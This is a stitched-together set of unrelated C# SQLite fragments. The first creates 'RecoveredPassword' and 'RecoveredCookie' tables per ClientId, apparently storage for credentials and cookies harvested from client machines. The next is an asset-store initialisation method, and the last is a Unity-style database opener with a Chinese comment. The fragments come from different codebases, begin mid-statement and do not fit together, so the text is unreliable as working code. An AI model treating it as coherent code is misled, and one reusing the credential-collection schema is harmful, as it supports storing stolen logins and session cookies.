"CREATE TABLE `RecoveredPassword` (Id INTEGER PRIMARY KEY, ClientId INTEGER, UserName TEXT, Password TEXT, Field1 TEXT, Field2 TEXT, PasswordType INTEGER, Application TEXT)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `RecoveredCookie` (Id INTEGER PRIMARY KEY, ClientId INTEGER, Host TEXT, Name TEXT, Value TEXT, Path TEXT, ExpiresUtc DATETIME, Secure INTEGER, HttpOnly INTEGER, Application TEXT)",
sqliteConnection))
command.ExecuteNonQuery();
}
/// <summary>
/// <list type="bullet">
/// <item>Initialises AssetData interface</item>
/// <item>Loads and initialises a new SQLite connection and maintains it.</item>
/// <item>use default URI if connect string is empty.</item>
/// </list>
/// </summary>
/// <param name="dbconnect">connect string</param>
override public void Initialise(string dbconnect)
{
if (Util.IsWindows())
Util.LoadArchSpecificWindowsDll("sqlite3.dll");
if (dbconnect == string.Empty)
{
dbconnect = "URI=file:Asset.db,version=3";
}
m_conn = new SqliteConnection(dbconnect);
m_conn.Open();
Migration m = new Migration(m_conn, Assembly, "AssetStore");
m.Update();
return;
}
//打开数据库
public void OpenSQLAndConnect()
{
connection = new SqliteConnection("data source=" + Application.streamingAssetsPath + "/" + sqlName);
connection.Open();
}
